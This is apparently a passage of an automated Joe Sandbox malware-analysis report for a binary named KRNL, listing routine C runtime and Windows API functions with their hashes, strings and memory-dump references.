Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: 7070c2e221e4fbf7c36a6feeb4969da593fee8b7e4be1f7d568f7bdbcca64c59
Instruction ID: 80d1008a47589e5fec60db716430fb67a448bf0da8ac3d053a67c16db8a92f1a
Opcode Fuzzy Hash: 7070c2e221e4fbf7c36a6feeb4969da593fee8b7e4be1f7d568f7bdbcca64c59
Instruction Fuzzy Hash: 1241CE34902388DFCF28DF6AD945AAFB7B6BF44300B68906DE045A7742C734AA05CF55

Function 006F55C4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,0070BE94,000000FF,?,006F5685,?,?,006F5721,00000000), ref: 006F55F9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 006F560B
FreeLibrary.KERNEL32(00000000,?,?,00000000,0070BE94,000000FF,?,006F5685,?,?,006F5721,00000000), ref: 006F562D

Strings

mscoree.dll, xrefs: 006F55F2
CorExitProcess, xrefs: 006F5603

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: c2082092b1bb25e83b11f16d5ceef1813ba1fc995de19d4cc7a234b6cbf34af1
Instruction ID: 3bab834c2e031fdaa1c95afc75f8726b03673c70e9459ab87e9cfc4dc0d0f2c0
Opcode Fuzzy Hash: c2082092b1bb25e83b11f16d5ceef1813ba1fc995de19d4cc7a234b6cbf34af1
Instruction Fuzzy Hash: 3E016771540A19EFDB118F58DC09BEEBBB9FB04B15F018525F921E22E0DB789D00CA94

Function 006FD6EA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 006FD76F
__alloca_probe_16.LIBCMT ref: 006FD838
__freea.LIBCMT ref: 006FD89F

Part of subcall function 006FBF11: HeapAlloc.KERNEL32(00000000,00000018,00000000,?,006EA67D,00000018,?,006E3D4A,00000018,00000000), ref: 006FBF43

__freea.LIBCMT ref: 006FD8B2
__freea.LIBCMT ref: 006FD8BF

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: bb54ce4c3091b957c4e278a84252753b620442c7112fec1d2a3df5ca0bf94daa
Instruction ID: 2c19cfb39e9bada7a974c9f23f455b40d615caffa5220fc26033e33459bd7f10
Opcode Fuzzy Hash: bb54ce4c3091b957c4e278a84252753b620442c7112fec1d2a3df5ca0bf94daa
Instruction Fuzzy Hash: 5351B57260020EAFEB215F65CC81EFF7AABEF44790B15012CFE14D6251EB71EC1196A4

Function 006EEFF1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 006EF005
AcquireSRWLockExclusive.KERNEL32(006E8E38), ref: 006EF024
AcquireSRWLockExclusive.KERNEL32(006E8E38,006EA2F0,?), ref: 006EF052
TryAcquireSRWLockExclusive.KERNEL32(006E8E38,006EA2F0,?), ref: 006EF0AD
TryAcquireSRWLockExclusive.KERNEL32(006E8E38,006EA2F0,?), ref: 006EF0C4

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: 3c69e2b5fc7cb5f103d12c6b8410b1aaa5a8b962232d7514bdf93b1040595f4f
Instruction ID: 3d59a0fc825efad6828327974411dec3a529b87ea031430514ec7b8493255d30
Opcode Fuzzy Hash: 3c69e2b5fc7cb5f103d12c6b8410b1aaa5a8b962232d7514bdf93b1040595f4f
Instruction Fuzzy Hash: F0416D3160278ADBCB20CF66C4919EAB3B6FF04310B10897AE44687641E770F985CB55

Function 006ED4C2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006ED4C9
std::_Lockit::_Lockit.LIBCPMT ref: 006ED4D3
int.LIBCPMT ref: 006ED4EA

Part of subcall function 006EC1E5: std::_Lockit::_Lockit.LIBCPMT ref: 006EC1F6
Part of subcall function 006EC1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 006EC210

codecvt.LIBCPMT ref: 006ED50D
std::_Lockit::~_Lockit.LIBCPMT ref: 006ED544

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: efb3d3b4c44e2fdb652f793045497e22f6264bb669f01c4efb36290e2c90b34f
Instruction ID: b4d0c4642763be2541857f7fb966bd011c441fa72e0ed29835dea9242395db61
Opcode Fuzzy Hash: efb3d3b4c44e2fdb652f793045497e22f6264bb669f01c4efb36290e2c90b34f
Instruction Fuzzy Hash: 7A01A1319023959FCB02EBA98945AFD7773AF84724F14411DE415AB3C2DF349E018785

Function 006EADD7 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006EADDE
std::_Lockit::_Lockit.LIBCPMT ref: 006EADE9
std::_Lockit::~_Lockit.LIBCPMT ref: 006EAE57

Part of subcall function 006EACAA: std::locale::_Locimp::_Locimp.LIBCPMT ref: 006EACC2

std::locale::_Setgloballocale.LIBCPMT ref: 006EAE04
_Yarn.LIBCPMT ref: 006EAE1A

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: b8659ef3c6f157f55fbd69b1e35f7ebce03cd11ea150a065e63acb30f1ebe2a5
Instruction ID: bea54adbb77d3ef6881b3b8552a59e70f5b5c58c962d983dcecec3a1bc0db0df
Opcode Fuzzy Hash: b8659ef3c6f157f55fbd69b1e35f7ebce03cd11ea150a065e63acb30f1ebe2a5
Instruction Fuzzy Hash: 6B01B1756023909BCB06EFA5D8555BD3762FF84750B15802DE9065B3C1CF78BE42CB8A

Function 006E1750 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 006E1783

Strings

ios_base::failbit set, xrefs: 006E1BEF
ios_base::badbit set, xrefs: 006E1BFA, 006E1C20
ios_base::eofbit set, xrefs: 006E1BEA

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: 99cbaa5e053cdb58593a0a7daa164c7394eb774f9a877c9c3ace476a37f27fc7
Instruction ID: 7310d915460194a38f4f7413e5305a81b8d8e06c819722eb617de05489a6494d
Opcode Fuzzy Hash: 99cbaa5e053cdb58593a0a7daa164c7394eb774f9a877c9c3ace476a37f27fc7
Instruction Fuzzy Hash: 98F15D75A012588FCB14CF69C494BADB7F2FF89320F198269E815AF391D734AD41CB90

Function 006E73E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 006E7526
___std_exception_copy.LIBVCRUNTIME ref: 006E7561

Part of subcall function 006EAF37: CreateThreadpoolWork.KERNEL32(006EB060,006E8A2A,00000000), ref: 006EAF46
Part of subcall function 006EAF37: Concurrency::details::_Reschedule_chore.LIBCPMT ref: 006EAF53

Strings

G.q, xrefs: 006E7551
Fail to schedule the chore!, xrefs: 006E7560

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: Concurrency::details::_$CreateRelease_choreReschedule_choreThreadpoolWork___std_exception_copy
String ID: Fail to schedule the chore!$G.q
API String ID: 3683891980-4289182727
Opcode ID: 19e44b04ee2f6c8e7d54a61afcb45abe401e4a9a105a96d76cf133c5e5f978ed
Instruction ID: c5c31b02e7e76ad7c242f9661e7fc1727bc66479e59dddb65c88342f62da0b48
Opcode Fuzzy Hash: 19e44b04ee2f6c8e7d54a61afcb45abe401e4a9a105a96d76cf133c5e5f978ed
Instruction Fuzzy Hash: 07517BB0902348DFCB05DF94D844BAEBBB6FF48314F144129E8196B391E779AA05CB95

Function 006E3E90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 006E3EC6
std::_Lockit::~_Lockit.LIBCPMT ref: 006E4002

Part of subcall function 006EABC5: _Yarn.LIBCPMT ref: 006EABE5
Part of subcall function 006EABC5: _Yarn.LIBCPMT ref: 006EAC09

Strings

bad locale name, xrefs: 006E3F46
|=ne.q, xrefs: 006E3E9B, 006E3F1F

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: LockitYarnstd::_$Lockit::_Lockit::~_
String ID: bad locale name$|=ne.q
API String ID: 2070049627-3641304814
Opcode ID: 269ad90011c9b9ca700257a24275838b3948a0a180b6fc46af21969cfbd89036
Instruction ID: c8b075d3f7149adb5063850cb13611cc796dba9b14e580510db145941b615297
Opcode Fuzzy Hash: 269ad90011c9b9ca700257a24275838b3948a0a180b6fc46af21969cfbd89036
Instruction Fuzzy Hash: 77418EF0A007559BEB10DF6AC809B57BAF9BF04714F04422CE4099B781E37AE618CBE5

Function 006EB755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 006EB809

Strings

RCC, xrefs: 006EB795
MOC, xrefs: 006EB789
csm, xrefs: 006EB7A1

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: ad9d5c75d85a87d20b9d4d70ea688022673c6ffc9ec02439ccd613887632bd88
Instruction ID: ca7a1570d745cd85b90d7508e7b0b1753db69ce7919babec99c5d67558c50083
Opcode Fuzzy Hash: ad9d5c75d85a87d20b9d4d70ea688022673c6ffc9ec02439ccd613887632bd88
Instruction Fuzzy Hash: 20210331902389DFCF249F56D941ABBB7AEEF54720F24551DE4018BB80DB34AA41CB80

Function 006EF11D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,006E253A,?,?,00000000), ref: 006EF129
GetExitCodeThread.KERNEL32(?,00000000,?,?,006E253A,?,?,00000000), ref: 006EF142
CloseHandle.KERNEL32(?,?,?,006E253A,?,?,00000000), ref: 006EF154

Strings

:%n, xrefs: 006EF134

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: CloseCodeExitHandleObjectSingleThreadWait
String ID: :%n
API String ID: 2551024706-2487494124
Opcode ID: cf6b89112603431ae6929f9869fd0010ed2fd97ab9a18872b06b329990857236
Instruction ID: c27027fd2ae53da7c7fcefa87e2fbe1e7739d6b61703c9a9c0f39f4465083014
Opcode Fuzzy Hash: cf6b89112603431ae6929f9869fd0010ed2fd97ab9a18872b06b329990857236
Instruction Fuzzy Hash: 44F08271655218EFDF108F29DC05ADA3B65EB01B70F248320F821EA2E0E730EE41C690

Function 006EABC5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

_Yarn.LIBCPMT ref: 006EABE5
_Yarn.LIBCPMT ref: 006EAC09

Strings

|=ne.q, xrefs: 006EABC8
e.q, xrefs: 006EABD9

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: Yarn
String ID: e.q$|=ne.q
API String ID: 1767336200-1506673154
Opcode ID: 44f7624037389ae8866c6fd5a4c7047b91fbb02b753d0d7c8d4e28b539063395
Instruction ID: 5652a72172c1655732cdbc06ad4945204099ef7c9978b85cbf39467072c7808a
Opcode Fuzzy Hash: 44f7624037389ae8866c6fd5a4c7047b91fbb02b753d0d7c8d4e28b539063395
Instruction Fuzzy Hash: 75E065323087046FE74C7A6AAC52BB637DDDF04B60F20002DFA1A865C1ED10BC444569

Function 00706940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,007069DC,00000000,?,0071D2B0,?,?,?,00706913,00000004,InitializeCriticalSectionEx,00710D34,00710D3C), ref: 0070694D
GetLastError.KERNEL32(?,007069DC,00000000,?,0071D2B0,?,?,?,00706913,00000004,InitializeCriticalSectionEx,00710D34,00710D3C,00000000,?,006FBBBC), ref: 00706957
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0070697F

Strings

api-ms-, xrefs: 00706964

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: cf1b97fed0619971c168c961d5243a05fb2cad014dbe3e0cf20c42ab6d781e4d
Instruction ID: 220de2021965a021cd5d3ea174db668cff5f310e282c1e19eeb8475691912a76
Opcode Fuzzy Hash: cf1b97fed0619971c168c961d5243a05fb2cad014dbe3e0cf20c42ab6d781e4d
Instruction Fuzzy Hash: 2AE01270390204FADF101FA4EC06FAC3A959B40B91F148564F94CA88E0D779ED609984

Function 00703F9E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 00704001

Part of subcall function 006FC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,006FD895,?,00000000,-00000008), ref: 006FC082

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00704253
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00704299
GetLastError.KERNEL32 ref: 0070433C

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 4abc43949758727193f159d1e01ee19cd4f9fb3766aba155f10c7fa64e59a81c
Instruction ID: 63b9e8cb4f49cefcc034a0c9f177bb6423c7d55d8751590667e79805d36a2608
Opcode Fuzzy Hash: 4abc43949758727193f159d1e01ee19cd4f9fb3766aba155f10c7fa64e59a81c
Instruction Fuzzy Hash: B2D149B5E00258DFCF15CFA8C880AEDBBF5FF49314F14826AEA55EB291D634A941CB50

Function 006FB295 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 006FB35C
___AdjustPointer.LIBCMT ref: 006FB37F
___AdjustPointer.LIBCMT ref: 006FB41B

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 933bfbe9267bb8dff0de8dec6a5d9246f1a581e5e1749ecf2683fc8c2fd93f91
Instruction ID: 2d4179a66163b8028f5c1bd9e23ea5f88f828f1c7e0d9d398d6c6a674270c05f
Opcode Fuzzy Hash: 933bfbe9267bb8dff0de8dec6a5d9246f1a581e5e1749ecf2683fc8c2fd93f91
Instruction Fuzzy Hash: 4D51D17364570AEFEB299F54C991BBA73A6EF40710F14502DEA0647291D731ED81CB90

Function 006E7220 Relevance: 6.1, APIs: 4, Instructions: 129threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 006E72C5
std::_Throw_Cpp_error.LIBCPMT ref: 006E7395
std::_Throw_Cpp_error.LIBCPMT ref: 006E73A3
std::_Throw_Cpp_error.LIBCPMT ref: 006E73B1

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: d84bc1c333bb0172b5a0cd114a46298ccf83f6ddcf1c56f96832921084f59115
Instruction ID: 018311f600b65332b7589c60e7806c97970d9d203e802bfd0f58c2778fd51256
Opcode Fuzzy Hash: d84bc1c333bb0172b5a0cd114a46298ccf83f6ddcf1c56f96832921084f59115
Instruction Fuzzy Hash: 074124B1901385CBDB60DB26C8417AFB7A6BF44320F14463DD81647791EB30E805CBD1

Function 00701DC6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 006FC021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,006FD895,?,00000000,-00000008), ref: 006FC082

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00701E2A
__dosmaperr.LIBCMT ref: 00701E31
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00701E6B
__dosmaperr.LIBCMT ref: 00701E72

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
